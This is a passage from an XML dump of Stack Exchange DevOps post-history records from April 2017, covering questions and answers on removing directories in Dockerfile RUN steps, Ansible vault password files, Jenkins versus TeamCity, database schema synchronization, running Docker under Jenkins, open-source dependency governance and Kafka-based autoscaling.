---&gt; 715de09e7e08&#xD;&#xA;    Step 4/7 : RUN wget http://google.com&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c07bfb3e1133&#xD;&#xA;    Step 5/7 : WORKDIR /&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c6de86d0191a&#xD;&#xA;    Step 6/7 : RUN ls&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 9567593cce39&#xD;&#xA;    Step 7/7 : RUN rm -r dir&#xD;&#xA;     ---&gt; Running in 7fe7b28294bf&#xD;&#xA;    rm: can't remove 'dir': Directory not empty&#xD;&#xA;    The command '/bin/sh -c rm -r dir' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;results:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/4 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/4 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Running in bd033cca581f&#xD;&#xA;    Connecting to google.com (&lt;IP&gt;:80)&#xD;&#xA;    Connecting to www.google.nl (&lt;IP&gt;:80)&#xD;&#xA;    index.html           100% |*******************************| 10951   0:00:00 ETA&#xD;&#xA;    &#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Removing intermediate container bd033cca581f&#xD;&#xA;    Step 3/4 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;     ---&gt; Running in ab8c3dca1de8&#xD;&#xA;    mkdir: can't create directory 'dir': File exists&#xD;&#xA;    The command '/bin/sh -c mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com' returned&#xD;&#xA;    a non-zero code: 1&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2397" PostHistoryTypeId="2" PostId="753" RevisionGUID="82144e47-55db-4a65-b2da-00e728954e11" CreationDate="2017-04-02T12:51:06.963" UserId="210" Text="**Dockerfile**&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; rm /dir/* &amp;&amp; rm -r dir&#xD;&#xA;&#xD;&#xA;**Outcome**&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon 2.048 kB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; rm /dir/* &amp;&amp; rm -r dir&#xD;&#xA;     ---&gt; Running in 80297b9606a8&#xD;&#xA;    Connecting to google.com (172.217.17.78:80)&#xD;&#xA;    Connecting to www.google.nl (216.58.212.131:80)&#xD;&#xA;    index.html           100% |*******************************| 11000   0:00:00 ETA&#xD;&#xA;    &#xD;&#xA;     ---&gt; 17bfced9b418&#xD;&#xA;    Removing intermediate container 80297b9606a8&#xD;&#xA;    Successfully built 17bfced9b418" ContentLicense="CC BY-SA 3.0" />
  <row Id="2399" PostHistoryTypeId="2" PostId="755" RevisionGUID="020e66e0-fc94-4b00-8535-e4a02ab8325b" CreationDate="2017-04-02T15:39:54.527" UserId="1016" Text="According to the [docs][1], &#xA;&#xA;&gt; You can also set ANSIBLE_VAULT_PASSWORD_FILEenvironment variable, e.g. ANSIBLE_VAULT_PASSWORD_FILE=~/.vault_pass.txtand Ansible will automatically search for the password in that file.&#xA;&#xA;Ensures that you are using the exact same case. &#xA;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_vault.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2400" PostHistoryTypeId="2" PostId="756" RevisionGUID="0c09f9aa-ae5e-4068-9638-14e2152b1125" CreationDate="2017-04-02T16:33:07.910" UserId="1026" Text="These tools seem to share very similar characteristics. &#xD;&#xA;&#xD;&#xA;How complicated would it be to start using TeamCity after getting used to working on Jenkins? Are there specific concepts one needs to be aware of? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2401" PostHistoryTypeId="1" PostId="756" RevisionGUID="0c09f9aa-ae5e-4068-9638-14e2152b1125" CreationDate="2017-04-02T16:33:07.910" UserId="1026" Text="What are the main differences between Jenkins and TeamCity as a CI/CD tool?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2402" PostHistoryTypeId="3" PostId="756" RevisionGUID="0c09f9aa-ae5e-4068-9638-14e2152b1125" CreationDate="2017-04-02T16:33:07.910" UserId="1026" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;teamcity&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2403" PostHistoryTypeId="2" PostId="757" RevisionGUID="5173c214-1270-408f-8a9a-650314d80b6c" CreationDate="2017-04-02T17:26:51.730" UserId="10" Text="In this case, &quot;Fire and Forget&quot; doesn't mean what you think it means.&#xD;&#xA;&#xD;&#xA;It isn't the case that you fire the build and then forget about the outcome.  What actually happens is that you fire the event, and then forget about what the process is doing up until the point where the process returns feedback to you and reminds you about what was fired.&#xD;&#xA;&#xD;&#xA;As an example, the old way of doing things might be to trigger a build and then let it run while you watch the output. You sit there watching the results of the build as they occur and don't work on anything else productive during that time. Or you do work on something productive, but you have one eye on the build process.  When it is done, you need to either be paying attention, or remember to check on it to see the results and then continue based on that.&#xD;&#xA;&#xD;&#xA;In Jenkins model of &quot;Fire and Forget&quot;, you have some automated process do the build for you, and your mind is not on the build process at all until something goes wrong, or the build completes.  At that point, you get a message from Jenkins, either as an email or in a program like slack, which now reminds you about the build process and tells you all the information you need to know to move one.  In the meantime, you were working on some other task with your full focus, because you knew that you didn't have to keep an eye on it. The automated system would alert you to anything you needed to know." ContentLicense="CC BY-SA 3.0" />
  <row Id="2404" PostHistoryTypeId="2" PostId="758" RevisionGUID="ea02ca51-3980-48fa-8e24-ec5b66853a68" CreationDate="2017-04-02T20:03:40.847" UserId="1045" Text="I set up jenkins to manage mainframe tables.   Essentially utilizing groovy script plugin. I wrote code that handles movement of files on the mainframe and call them though the plugin.   Essentially leveraging the mainframes API to connect and the vsc's commands to move the files." ContentLicense="CC BY-SA 3.0" />
  <row Id="2405" PostHistoryTypeId="5" PostId="757" RevisionGUID="ed1bc6bd-738a-40b6-95e8-fa7313b2505a" CreationDate="2017-04-03T06:28:47.607" UserId="10" Comment="grammar" Text="In this case, &quot;Fire and Forget&quot; doesn't mean what you think it means.&#xD;&#xA;&#xD;&#xA;It isn't the case that you fire the build and then forget about the outcome.  What actually happens is that you fire the event, and then forget about what the process is doing up until the point where the process returns feedback to you and reminds you about what was fired.&#xD;&#xA;&#xD;&#xA;As an example, the old way of doing things might be to trigger a build and then let it run while you watch the output. You sit there watching the results of the build as they occur and don't work on anything else productive during that time. Or you do work on something productive, but you have one eye on the build process.  When it is done, you need to either be paying attention, or remember to check on it to see the results and then continue based on that.&#xD;&#xA;&#xD;&#xA;In Jenkins model of &quot;Fire and Forget&quot;, you have some automated process do the build for you, and your mind is not focused on the build process until something goes wrong, or the build completes.  At that point, you get a message from Jenkins, either as an email or in a program like slack, which now reminds you of the build process and tells you all the information you need to know to move on.  In the meantime, you were working on some other task with your full focus, because you knew that you didn't have to keep an eye on it. The automated system would alert you to anything you needed to know." ContentLicense="CC BY-SA 3.0" />
  <row Id="2406" PostHistoryTypeId="2" PostId="759" RevisionGUID="32a18f08-d28a-4558-88de-c6f48c15db17" CreationDate="2017-04-03T08:07:38.087" UserId="13" Text="I'm not sure it's a best practice but what I would do is using [filebeat](https://www.elastic.co/products/beats/filebeat) to read the log in near real time and push it to ElasticSearch.  &#xD;&#xA;AWS provides an [ElasticSearch Service](https://aws.amazon.com/elasticsearch-service/?nc2=h_l3_al) which can save you from this part.&#xD;&#xA;&#xD;&#xA;The drawback of using filebeat directly to elasticsearch is that the time of events will be the time the prospector read them and if your logs have a timestamp they can be &quot;ingested&quot; in different order than produced (from multiple workers).&#xD;&#xA;&#xD;&#xA;You can add [Logstash][1] inbetween, sending from filebeat to logstash and then to elasticsearch. Logstash is able to interpret your logs and split them into fields to search again, in the same manner you can parse your date in log so events will be stored with a correct timestamp.&#xD;&#xA;&#xD;&#xA;You may use logstash directly to read the logs, but it's quite heavy on resources so I would keep it separated to no impact the workers.&#xD;&#xA;&#xD;&#xA;If you buy a license from x-pack you can add alerts on messages directly from elasticsearch.&#xD;&#xA;&#xD;&#xA;If you want to save you from the burden of maintaining logstash there's services like [logmatic.io](https://logmatic.io/) which provides you with the full stack, you just have to push your logs and a bunch of parsing are handled from stock.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.elastic.co/products/logstash" ContentLicense="CC BY-SA 3.0" />
  <row Id="2407" PostHistoryTypeId="2" PostId="760" RevisionGUID="36c5427c-b6f6-4ff3-9ec1-791ca234c60d" CreationDate="2017-04-03T08:19:39.693" UserId="13" Text="I'd argue a tool alone won't really help unless you shift the schema responsibility to the application team.&#xD;&#xA;&#xD;&#xA;We do use [liquibase](http://www.liquibase.org/) or [flyway](https://flywaydb.org/) at work, where the application team is responsible to create the changesets.&#xD;&#xA;&#xD;&#xA;Along with this,you can avoid a purely additive way.  &#xD;&#xA;Each application is required to be compatible with its precedent version, when an alteration of schema has to be done, then the application will integrate a new column in the schema, write to it and still read and write from/to previous column (allowing the previous version to still have the same data).  &#xD;&#xA;The next version of the application is allowed to stop updating the old column and only the third version will be allowed to remove the now unused column.&#xD;&#xA;&#xD;&#xA;Obviously, regular backups are needed in case something goes wrong.  &#xD;&#xA;A proper subset of data likely to create problems in integration tests to avoid them in production is also a good idea. The ideal case get an anonymous subset of production data." ContentLicense="CC BY-SA 3.0" />
  <row Id="2408" PostHistoryTypeId="2" PostId="761" RevisionGUID="e86cc758-d3d1-4c3b-a11d-1380ee71888a" CreationDate="2017-04-03T09:39:57.763" UserId="1063" Text="I have this challenge. I am the DevOps engineer and a software engineer in a team where months back, the developers moved from having a central Oracle DB to having the DB on a CentOS VM on their individual laptops. The move from a central DB was to reduce dependency on the DBAs and also to eliminate issues that stemmed from inconsistent data.&#xD;&#xA;&#xD;&#xA;The plan for sharing and ensuring synchronization of the Database with everyone on the team was that each person will share change scripts with everyone. The problem is that we use Skype for communication (we just setup slack but are yet to start using it fully), and although people sometimes post the text of DB change scripts, it could be missed by some. The other problem is that some developers miss posting the changes. Further, new releases are deployed in Production without being deployed on the Test and Demo environments.&#xD;&#xA;&#xD;&#xA;This has posed a serious challenge for us, especially myself who of recent, became responsible for ensuring that our Demo deployments were in sync with the Production deployments.&#xD;&#xA;Most of the synchronization issues border on the lack of sync of the Database due to missing change scripts or missing DB objects. Oracle is our DB of preference. &#xD;&#xA;&#xD;&#xA;A typical deployment in the Demo environment is a very painful process that involves testing an application and as issues occur due to missing DB table columns, functions, stored procs, we have to look for the missing DB objects, apply them to the DB and then continue until all issues are resolved.&#xD;&#xA;&#xD;&#xA;How can I solve this problem to ensure smooth, painless and less time-consuming deployments? Can migrating our applications to Docker help with the DB synchronization issues and the associated lack of discipline of the developers? What process can we put into place to improve in this area?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you very much in advance for your help.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2409" PostHistoryTypeId="1" PostId="761" RevisionGUID="e86cc758-d3d1-4c3b-a11d-1380ee71888a" CreationDate="2017-04-03T09:39:57.763" UserId="1063" Text="How to synchronize deployments (especially of database object changes) on multiple environments" ContentLicense="CC BY-SA 3.0" />
  <row Id="2410" PostHistoryTypeId="3" PostId="761" RevisionGUID="e86cc758-d3d1-4c3b-a11d-1380ee71888a" CreationDate="2017-04-03T09:39:57.763" UserId="1063" Text="&lt;deployment&gt;&lt;continuous-delivery&gt;&lt;databases&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2411" PostHistoryTypeId="2" PostId="762" RevisionGUID="e65b8531-bcf1-416f-a6b0-d83e8b0a521d" CreationDate="2017-04-03T09:49:55.593" UserId="184" Text="In our company we manage our application code within a VCS (Git) and most of the applications we work with install their core database from within the setup scripts that ship with the application.&#xD;&#xA;&#xD;&#xA;If we would have to extend or customize an application for one of our customers which involves having to extend the database or do database customizations, then we will accompany our code with a setup script that will perform the database operations through the application's database layer/wrapper/driver.&#xD;&#xA;&#xD;&#xA;This way, once the code is merged into the VCS repository, every developer that will check out this code, will retrieve these database changes. Also after the code is merged, these database changes will end up on every environment (test, UAT and production nodes) and this way all database changes will roll out smoothly." ContentLicense="CC BY-SA 3.0" />
  <row Id="2412" PostHistoryTypeId="2" PostId="763" RevisionGUID="933c5f28-c673-4ad7-8d5e-196efa5a49b6" CreationDate="2017-04-03T09:52:19.063" UserId="13" Text="I would integrate the schema management into the application itself (or along it).&#xD;&#xA;&#xD;&#xA;Any change to the schema should be committed along the application code (and hence tagged also).  &#xD;&#xA;&#xD;&#xA;There's already a bunch of possibilities listed in this question: [What practices or tools enable Continuous Deployment of Databases](http://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases)&#xD;&#xA;&#xD;&#xA;With this kind of tools, using an in memory database like h2 or a central database and having the application check the schema version (stored in the DB) when started allow to get an updated database schema at application startup. &#xD;&#xA;&#xD;&#xA;This will not solve your discipline problem and may create new ones, as this usually comes with a strict versioning of the schema, enforcing the version can be done with pre-commit hooks but that's a hard work." ContentLicense="CC BY-SA 3.0" />
  <row Id="2413" PostHistoryTypeId="5" PostId="762" RevisionGUID="a76cdd9e-a6e1-402a-ac22-210fb383c57e" CreationDate="2017-04-03T09:55:21.663" UserId="184" Comment="added 161 characters in body" Text="In our company we manage our application code within a VCS (Git) and most of the applications we work with install their core database from within the setup scripts that ship with the application.&#xD;&#xA;&#xD;&#xA;If we would have to extend or customize an application for one of our customers which involves having to extend the database or do database customizations, then we will accompany our code with a setup script that will perform the database operations through the application's database layer/wrapper/driver.&#xD;&#xA;&#xD;&#xA;This way, once the code is merged into the VCS repository, every developer that will check out this code, will retrieve these database changes. Also after the code is merged, these database changes will end up on every environment (test, UAT and production nodes) and this way all database changes will roll out smoothly.&#xD;&#xA;&#xD;&#xA;This is an easy to implement method. You could also dive into source control tools specific for databases if you need more advanced management possibilities." ContentLicense="CC BY-SA 3.0" />
  <row Id="2414" PostHistoryTypeId="5" PostId="753" RevisionGUID="6a31ce0d-fb8c-4e73-95c5-a0258f9dff7a" CreationDate="2017-04-03T10:12:06.587" UserId="210" Comment="added 82 characters in body" Text="A solution is to remove all the content from the directory before removing it, e.g. `rm /dir/* &amp;&amp; rm -r dir`.&#xD;&#xA;&#xD;&#xA;**Dockerfile**&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; rm /dir/* &amp;&amp; rm -r dir&#xD;&#xA;&#xD;&#xA;**Outcome**&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon 2.048 kB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd / &amp;&amp; rm /dir/* &amp;&amp; rm -r dir&#xD;&#xA;     ---&gt; Running in 80297b9606a8&#xD;&#xA;    Connecting to google.com (172.217.17.78:80)&#xD;&#xA;    Connecting to www.google.nl (216.58.212.131:80)&#xD;&#xA;    index.html           100% |*******************************| 11000   0:00:00 ETA&#xD;&#xA;    &#xD;&#xA;     ---&gt; 17bfced9b418&#xD;&#xA;    Removing intermediate container 80297b9606a8&#xD;&#xA;    Successfully built 17bfced9b418" ContentLicense="CC BY-SA 3.0" />
  <row Id="2415" PostHistoryTypeId="5" PostId="761" RevisionGUID="9dc191d3-696a-4240-904e-b5f85b66786a" CreationDate="2017-04-03T10:38:36.127" UserId="14" Comment="Remove thanks (upvote and accept good answers instead); remove first line to focus on question" Text="I am the DevOps engineer and a software engineer in a team where months back, the developers moved from having a central Oracle DB to having the DB on a CentOS VM on their individual laptops. The move from a central DB was to reduce dependency on the DBAs and also to eliminate issues that stemmed from inconsistent data.&#xD;&#xA;&#xD;&#xA;The plan for sharing and ensuring synchronization of the Database with everyone on the team was that each person will share change scripts with everyone. The problem is that we use Skype for communication (we just setup slack but are yet to start using it fully), and although people sometimes post the text of DB change scripts, it could be missed by some. The other problem is that some developers miss posting the changes. Further, new releases are deployed in Production without being deployed on the Test and Demo environments.&#xD;&#xA;&#xD;&#xA;This has posed a serious challenge for us, especially myself who of recent, became responsible for ensuring that our Demo deployments were in sync with the Production deployments.&#xD;&#xA;Most of the synchronization issues border on the lack of sync of the Database due to missing change scripts or missing DB objects. Oracle is our DB of preference. &#xD;&#xA;&#xD;&#xA;A typical deployment in the Demo environment is a very painful process that involves testing an application and as issues occur due to missing DB table columns, functions, stored procs, we have to look for the missing DB objects, apply them to the DB and then continue until all issues are resolved.&#xD;&#xA;&#xD;&#xA;How can I solve this problem to ensure smooth, painless and less time-consuming deployments? Can migrating our applications to Docker help with the DB synchronization issues and the associated lack of discipline of the developers? What process can we put into place to improve in this area?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2416" PostHistoryTypeId="24" PostId="761" RevisionGUID="9dc191d3-696a-4240-904e-b5f85b66786a" CreationDate="2017-04-03T10:38:36.127" Comment="Proposed by 14 approved by 13, 40 edit id of 210" ContentLicense="CC BY-SA 3.0" />
  <row Id="2417" PostHistoryTypeId="5" PostId="763" RevisionGUID="c030034b-d020-42de-95bb-d67e6c53d943" CreationDate="2017-04-03T12:46:09.857" UserId="13" Comment="added 5 characters in body" Text="I would integrate the schema management into the application itself (or along with it).&#xD;&#xA;&#xD;&#xA;Any change to the schema should be committed along the application code (and hence tagged also).  &#xD;&#xA;&#xD;&#xA;There's already a bunch of possibilities listed in this question: [What practices or tools enable Continuous Deployment of Databases](http://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases)&#xD;&#xA;&#xD;&#xA;With this kind of tools, using an in memory database like h2 or a central database and having the application check the schema version (stored in the DB) when started allow to get an updated database schema at application startup. &#xD;&#xA;&#xD;&#xA;This will not solve your discipline problem and may create new ones, as this usually comes with a strict versioning of the schema, enforcing the version can be done with pre-commit hooks but that's a hard work." ContentLicense="CC BY-SA 3.0" />
  <row Id="2418" PostHistoryTypeId="2" PostId="764" RevisionGUID="765274d2-8914-415b-897c-5d4954d4d96c" CreationDate="2017-04-03T13:34:15.760" UserId="1076" Text="I'm trying to get a new jenkins pipeline together to test new pull requests to our code. I'm using docker with the `ubuntu:14.04` image to simulate our production environment.&#xD;&#xA;&#xD;&#xA;A simple example of what I want to do in my `jenkinsfile` is&#xD;&#xA;&#xD;&#xA;    stage('Checkout and initialise'){&#xD;&#xA;     docker.image('ubuntu:14.04').inside{ &#xD;&#xA;         checkout scm&#xD;&#xA;         sh 'init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;Where init script begins with a series of `sudo apt-get install` commands.&#xD;&#xA;&#xD;&#xA;I am seeing the error `sudo: unknown uid 106: who are you?` constistently&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem I'm having is that docker is not running as root as I'm used to and instead retaining the user id of the jenkins user from the host machine. This makes it difficult to sudo. &#xD;&#xA;&#xD;&#xA;I've tried adding the jenkins user to the containers `/etc/passwd` file and running `chmod` against that file but don't even have the permissions to do either of these from the `jenkinsfile`. &#xD;&#xA;&#xD;&#xA;Is there a correct way to deal with this situation? Ideally from the `jenkinsfile`; I'd like to avoid creating an additional `Dockerfile` if possible as this will be a further differentiator between testing and production. &#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;I've discovered I can use the `.withRun()` command in the jenkins file i.e&#xD;&#xA;&#xD;&#xA;    stage('Checkout and initialise'){&#xD;&#xA;     docker.image('ubuntu:14.04').withRun('-u root'){ &#xD;&#xA;         checkout scm&#xD;&#xA;         sh 'init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This now means I'm a recognised user and, even better, the root one. However, the problem now moves on to trying to use `apt-get` commands I'm running inside `init-script.sh`. I either see `Error: must run as root` if I don't use `sudo` or sudo: `no tty present and no askpass program specified` if I do." ContentLicense="CC BY-SA 3.0" />
  <row Id="2419" PostHistoryTypeId="1" PostId="764" RevisionGUID="765274d2-8914-415b-897c-5d4954d4d96c" CreationDate="2017-04-03T13:34:15.760" UserId="1076" Text="Using docker with Jenkins and ubuntu" ContentLicense="CC BY-SA 3.0" />
  <row Id="2420" PostHistoryTypeId="3" PostId="764" RevisionGUID="765274d2-8914-415b-897c-5d4954d4d96c" CreationDate="2017-04-03T13:34:15.760" UserId="1076" Text="&lt;jenkins&gt;&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2421" PostHistoryTypeId="2" PostId="765" RevisionGUID="c432e82c-e6a9-4b8c-b094-0ad23142d00b" CreationDate="2017-04-03T14:09:19.167" UserId="47" Text="Building on Xiong Chiamiov's answer, which correctly identified the root cause of the problem - the `dir` reference by relative path when attempting to empty or delete that directory depends on the working directory at the time, which was not correctly set in the cases mentioned in the OP.&#xD;&#xA;&#xD;&#xA;So there are 2 solutions available:&#xD;&#xA;&#xD;&#xA;- set the proper working dir prior to executing the `dir` removal:&#xD;&#xA;&#xD;&#xA;        RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; cd .. %% rm -rf dir&#xD;&#xA;&#xD;&#xA;- use a `/dir` full path reference to that directory instead. But with care (adjust if needed) if used in cases just similar, but not identical to this one, since this approach assumes the initial working dir was `/`:&#xD;&#xA;&#xD;&#xA;        RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf /dir&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2422" PostHistoryTypeId="2" PostId="766" RevisionGUID="9edb2502-47de-4c16-9604-ecd2eaa8d158" CreationDate="2017-04-03T15:11:15.213" UserId="397" Text="We exist in an increasingly complex ecosystem of Free and Open Source Software, FOSS, and it's dependencies.  Having done a bit of analysis on one medium size project there are over 1,500 dependent software packages, not counting different versions of the same package or any packages developed internally for reuse.&#xD;&#xA;&#xD;&#xA;How do we manage this complexity in an enterprise that needs to be able to answer the following two questions categorically&#xD;&#xA;&#xD;&#xA; - Have we met the licence terms of all of the software we are using?&#xD;&#xA; - What is our exposure to vulnerabilities in free or open source software?&#xD;&#xA;&#xD;&#xA;I can think of two architectures that would support the answering of these questions, however, the enormity of the problem could well be clouding my judgement:&#xD;&#xA;&#xD;&#xA;## Approach #1: Walled Garden&#xD;&#xA;&#xD;&#xA;Effectively firewall off the sources of these open source packages, i.e. [npm][1], [Docker Registry][2], [nuget][3], etc., then create an internal repository of approved packages, implementing some process to whitelist packages.&#xD;&#xA;&#xD;&#xA;[![Walled Garden Approach][4]][4]&#xD;&#xA;&#xD;&#xA;## Approach #2: Audit&#xD;&#xA;&#xD;&#xA;Allow packages to be downloaded from the internet freely, however, perform source code analysis as part of the build pipeline to report on the packages currently being utilised.&#xD;&#xA;&#xD;&#xA;[![Audit Approach][5]][5]&#xD;&#xA;&#xD;&#xA;Practically an organisation could use *either* solution or if necessary *both* solution to provide a degree of checks and balances.&#xD;&#xA;&#xD;&#xA;Are their other architectures or tools that support the management of Free and Open Source dependencies?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.npmjs.com/&#xD;&#xA;  [2]: https://docs.docker.com/registry/&#xD;&#xA;  [3]: https://www.nuget.org/&#xD;&#xA;  [4]: https://i.stack.imgur.com/YhiYF.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/dcCQa.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2423" PostHistoryTypeId="1" PostId="766" RevisionGUID="9edb2502-47de-4c16-9604-ecd2eaa8d158" CreationDate="2017-04-03T15:11:15.213" UserId="397" Text="How to manage Free and Open Source Software dependencies?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2424" PostHistoryTypeId="3" PostId="766" RevisionGUID="9edb2502-47de-4c16-9604-ecd2eaa8d158" CreationDate="2017-04-03T15:11:15.213" UserId="397" Text="&lt;dependency-management&gt;&lt;open-source&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2425" PostHistoryTypeId="2" PostId="767" RevisionGUID="dc25e826-07ba-419e-9d37-d643b8c51689" CreationDate="2017-04-03T15:56:49.697" UserId="960" Text="Any organization that needs the level of control you've specified is essentially forced into the preapproval process (&quot;walled garden&quot;). It's a pain for developers, but it's a necessary process to keep the company safe. I've even heard of companies with programs that scan all their workstations regularly to find and remove unapproved software.&#xA;&#xA;It's worth noting that there are a few ways to implement it. As you note, you can use an internal mirror. Another popular option is to *vendorize* dependencies into your application's repo.&#xA;&#xA;Security is one of the main issues with a frozen version approach, as you've taken on responsibility for maintenance. This generally means having someone whose responsibility it is to follow the release discussions of every package you've frozen. It also requires allotting continuous time for updating dependencies, because otherwise it's very easy to get caught with a security vulnerability that's only been fixed in a version that's incompatible with your app.&#xA;&#xA;In general, I find that companies often underestimate how much additional work they're taking on with this change, and strict compliance is actually much more costly than occasionally ending up with licensing or &quot;disappearing dependency&quot; problems." ContentLicense="CC BY-SA 3.0" />
  <row Id="2430" PostHistoryTypeId="4" PostId="756" RevisionGUID="e8d9c32b-c395-431e-b6fd-16ec81c9410e" CreationDate="2017-04-03T20:46:02.883" UserId="1026" Comment="Edited title for a specific scenario instead of general diferences" Text="What are the main differences between Jenkins and TeamCity if one is used to working with Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2431" PostHistoryTypeId="2" PostId="769" RevisionGUID="d324fb0e-756f-45f5-9fcd-42bf9e8f9b6b" CreationDate="2017-04-03T21:57:50.210" UserId="1033" Text="I have autoscaling groups that I want to dynamically scale up/down based on the amount of lag showing in certain kafka topics. There's a 1:1 relationship between topic and autoscaling group that needs to be scaled. I'm fairly sure I can't use CloudWatch metrics to approach this. Is there a way I could accomplish this using Jenkins without creating race conditions and other issues?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2432" PostHistoryTypeId="1" PostId="769" RevisionGUID="d324fb0e-756f-45f5-9fcd-42bf9e8f9b6b" CreationDate="2017-04-03T21:57:50.210" UserId="1033" Text="How can I autoscale instances based on kafka topic lag?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2433" PostHistoryTypeId="3" PostId="769" RevisionGUID="d324fb0e-756f-45f5-9fcd-42bf9e8f9b6b" CreationDate="2017-04-03T21:57:50.210" UserId="1033" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2434" PostHistoryTypeId="2" PostId="770" RevisionGUID="b3801e24-9a1b-44b7-bba1-5f80dcb9d875" CreationDate="2017-04-03T22:02:40.717" UserId="1105" Text="I second elastic beanstalk for its simplicity; it is very easy to setup and deploy.  &#xD;&#xA;&#xD;&#xA;If you are familiar with docker-compose, another approach would be to define docker-compose.yml and directly deploy on ECS with ecs-cli." ContentLicense="CC BY-SA 3.0" />
  <row Id="2435" PostHistoryTypeId="2" PostId="771" RevisionGUID="28ab3f4a-a149-4b17-bd6d-694b08334a0b" CreationDate="2017-04-04T00:34:21.473" UserId="927" Text="I'm writing about the arrival of DevOps practices such as continuous integration (CI) and continuous delivery (CD) and their impact upon SecOps (or whatever the equivalent team was called). My audiences are SecOps and DevOps professionals who are familiar with industry tools and terminology.&#xD;&#xA;&#xD;&#xA;I'm looking for a resource, such as interviews with Security professionals, that describe the impact this had upon security practices. Specifically, the context would be small to medium-sized organizations (approximately 25 to 5000 FTEs) with one or more dedicated software development teams that reorganized as DevOps and implemented CI/CD. &#xD;&#xA;&#xD;&#xA;Also, if you would like to share your experiences, I would appreciate hearing about them here. Please describe the organization at a high level; which DevOps practices were adopted/discontinued; which SecOps practices were adopted/discontinued; and particularly any key challenges and how they were overcome.&#xD;&#xA;&#xD;&#xA;I know some SE groups are sensitive about receiving open-ended questions like this. However, I think it would be valuable for other visitors to read about and generalize from your professional experiences. If you feel like this question should be placed in a different forum, please let me know and I'll be glad to move it there. " ContentLicense="CC BY-SA 3.0" />
  <row Id="2436" PostHistoryTypeId="1" PostId="771" RevisionGUID="28ab3f4a-a149-4b17-bd6d-694b08334a0b" CreationDate="2017-04-04T00:34:21.473" UserId="927" Text="Where can I find professional insights into the impact of DevOps upon SecOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2437" PostHistoryTypeId="3" PostId="771" RevisionGUID="28ab3f4a-a149-4b17-bd6d-694b08334a0b" CreationDate="2017-04-04T00:34:21.473" UserId="927" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2438" PostHistoryTypeId="16" PostId="504" RevisionGUID="ac614cda-f843-44ea-a9a9-eb6d90e5ac22" CreationDate="2017-04-04T02:28:30.790" UserId="46" />
  <row Id="2439" PostHistoryTypeId="16" PostId="505" RevisionGUID="0c32e60f-b33f-49b4-bc33-7dad09748f43" CreationDate="2017-04-04T02:28:30.790" UserId="46" />
